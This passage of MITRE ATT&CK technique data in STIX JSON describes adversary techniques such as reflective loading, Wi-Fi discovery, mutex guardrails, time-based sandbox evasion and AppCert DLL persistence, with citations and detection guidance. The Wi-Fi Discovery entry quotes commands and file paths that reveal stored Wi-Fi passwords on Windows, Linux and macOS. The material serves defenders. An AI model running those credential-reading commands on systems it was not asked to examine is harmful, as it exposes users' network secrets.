                    "source_name": "00sec Droppers",
                    "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.",
                    "url": "https://0x00sec.org/t/super-stealthy-droppers/3715"
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                {
                    "source_name": "S1 Custom Shellcode Tool",
                    "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"
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                {
                    "source_name": "Mandiant BYOL",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "S1 Old Rat New Tricks",
                    "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
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                {
                    "source_name": "MDSec Detecting DOTNET",
                    "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.",
                    "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
                },
                {
                    "source_name": "Microsoft AssemblyLoad",
                    "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.",
                    "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"
                },
                {
                    "source_name": "Intezer ACBackdoor",
                    "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.",
                    "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
                },
                {
                    "source_name": "Stuart ELF Memory",
                    "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.",
                    "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
                },
                {
                    "source_name": "Introducing Donut",
                    "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.",
                    "url": "https://thewover.github.io/Introducing-Donut/"
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            "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
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                    "phase_name": "defense-evasion"
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                "Shlomi Salem, SentinelOne",
                "Lior Ribak, SentinelOne",
                "Rex Guo, @Xiaofei_REX, Confluera",
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06",
            "created": "2023-09-08T15:39:50.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1016/002",
                    "external_id": "T1016.002"
                },
                {
                    "source_name": "Binary Defense Emotes Wi-Fi Spreader",
                    "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.",
                    "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"
                },
                {
                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
                },
                {
                    "source_name": "Wi-Fi Password of All Connected Networks in Windows/Linux",
                    "description": "Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.",
                    "url": "https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/"
                },
                {
                    "source_name": "Malware Bytes New AgentTesla variant steals WiFi credentials",
                    "description": "Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.",
                    "url": "https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials"
                },
                {
                    "source_name": "Find Wi-Fi Password on Mac",
                    "description": "Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.",
                    "url": "https://mackeeper.com/blog/find-wi-fi-password-on-mac/"
                },
                {
                    "source_name": "BleepingComputer Agent Tesla steal wifi passwords",
                    "description": "Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/"
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            "modified": "2025-04-15T23:21:00.705Z",
            "name": "Wi-Fi Discovery",
            "description": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Uriel Kosayev",
                "Liran Ravich, CardinalOps",
                "Alex Spivakovsky, Pentera"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "id": "attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742",
            "created": "2024-09-19T14:00:03.401Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1480/002",
                    "external_id": "T1480.002"
                },
                {
                    "source_name": "Intezer RedXOR 2021",
                    "description": "Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.",
                    "url": "https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
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                {
                    "source_name": "Sans Mutexes 2012",
                    "description": "Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.",
                    "url": "https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"
                },
                {
                    "source_name": "ICS Mutexes 2015",
                    "description": "Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.",
                    "url": "https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/"
                },
                {
                    "source_name": "Microsoft Mutexes",
                    "description": "Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.",
                    "url": "https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes"
                },
                {
                    "source_name": "Deep Instinct BPFDoor 2023",
                    "description": "Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves \u2013 Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.",
                    "url": "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
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            "modified": "2025-04-15T22:50:39.088Z",
            "name": "Mutual Exclusion",
            "description": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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                "Pooja Natarajan, NEC Corporation India",
                "Nagahama Hiroki \u2013 NEC Corporation Japan"
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                    "external_id": "T1564.011"
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                    "source_name": "Linux Signal Man",
                    "description": "Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.",
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                    "description": "Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.",
                    "url": "https://linux.die.net/man/1/nohup"
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                {
                    "source_name": "Microsoft PowerShell SilentlyContinue",
                    "description": "Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.",
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            "description": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.",
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            "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665",
            "created": "2021-03-30T17:38:34.277Z",
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                    "url": "https://attack.mitre.org/techniques/T1611",
                    "external_id": "T1611"
                },
                {
                    "source_name": "Container Escape",
                    "description": "0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.",
                    "url": "https://0xn3va.gitbook.io/cheat-sheets/container/escaping"
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                    "source_name": "Broadcom VMSA-2025-004",
                    "description": "Broadcom. (2025, March 6). VMSA-2025-0004: Questions & Answers. Retrieved March 26, 2025.",
                    "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/tree/main/security-advisories/vmsa-2025-0004"
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                    "source_name": "Windows Server Containers Are Open",
                    "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/"
                },
                {
                    "source_name": "Docker Overview",
                    "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/get-started/overview/"
                },
                {
                    "source_name": "Docker Bind Mounts",
                    "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/storage/bind-mounts/"
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                    "source_name": "Trend Micro Privileged Container",
                    "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html"
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                    "source_name": "Intezer Doki July 20",
                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.",
                    "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"
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                    "source_name": "Crowdstrike Kubernetes Container Escape",
                    "description": "Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.",
                    "url": "https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/"
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                {
                    "source_name": "Keyctl-unmask",
                    "description": "Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.",
                    "url": "https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"
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            "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "created": "2020-01-24T19:00:32.917Z",
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                    "external_id": "T1547.009"
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                    "source_name": "Shortcut for Persistence ",
                    "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"
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                    "source_name": "BSidesSLC 2020 - LNK Elastic",
                    "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.",
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            "created": "2017-05-31T21:30:24.512Z",
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                    "url": "https://attack.mitre.org/techniques/T1010",
                    "external_id": "T1010"
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                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
                },
                {
                    "source_name": "Prevailion DarkWatchman 2021",
                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
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            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.",
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            "created": "2025-03-18T13:44:12.618Z",
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                    "source_name": "Red Hat Systemctl 2022",
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                    "external_id": "T1032"
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                    "source_name": "SANS Decrypting SSL",
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                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
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                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
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                    "source_name": "Fidelis DarkComet",
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                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
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                    "external_id": "T1087.003"
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                {
                    "source_name": "Black Hills Attacking Exchange MailSniper, 2016",
                    "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
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                },
                {
                    "source_name": "Google Workspace Global Access List",
                    "description": "Google. (n.d.). Retrieved March 16, 2021.",
                    "url": "https://support.google.com/a/answer/166870?hl=en"
                },
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                    "source_name": "Microsoft Exchange Address Lists",
                    "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.",
                    "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019"
                },
                {
                    "source_name": "Microsoft getglobaladdresslist",
                    "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.",
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            "modified": "2025-04-15T22:25:10.775Z",
            "name": "Email Account",
            "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
            "created": "2017-05-31T21:30:50.958Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1062",
                    "external_id": "T1062"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/552.html",
                    "external_id": "CAPEC-552"
                },
                {
                    "source_name": "Wikipedia Hypervisor",
                    "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Hypervisor"
                },
                {
                    "source_name": "Wikipedia Xen",
                    "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
                    "url": "http://en.wikipedia.org/wiki/Xen"
                },
                {
                    "source_name": "Myers 2007",
                    "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
                    "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf"
                },
                {
                    "source_name": "virtualization.info 2006",
                    "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.",
                    "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
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            "modified": "2025-04-25T15:15:30.122Z",
            "name": "Hypervisor",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "2.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
            "created": "2020-03-06T21:11:11.225Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/003",
                    "external_id": "T1497.003"
                },
                {
                    "source_name": "Joe Sec Nymaim",
                    "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/3660886847485093803"
                },
                {
                    "source_name": "Joe Sec Trickbot",
                    "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/498839998833561473"
                },
                {
                    "source_name": "ISACA Malware Tricks",
                    "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.",
                    "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes"
                },
                {
                    "source_name": "Revil Independence Day",
                    "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.",
                    "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/"
                },
                {
                    "source_name": "Netskope Nitol",
                    "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.",
                    "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "name": "Time Based Evasion",
            "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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                "Ruben Dodge, @shotgunner101",
                "Jeff Felling, Red Canary",
                "Deloitte Threat Library Team"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1182",
                    "external_id": "T1182"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
                    "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:30.363Z",
            "name": "AppCert DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.",
            "kill_chain_phases": [
                {
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
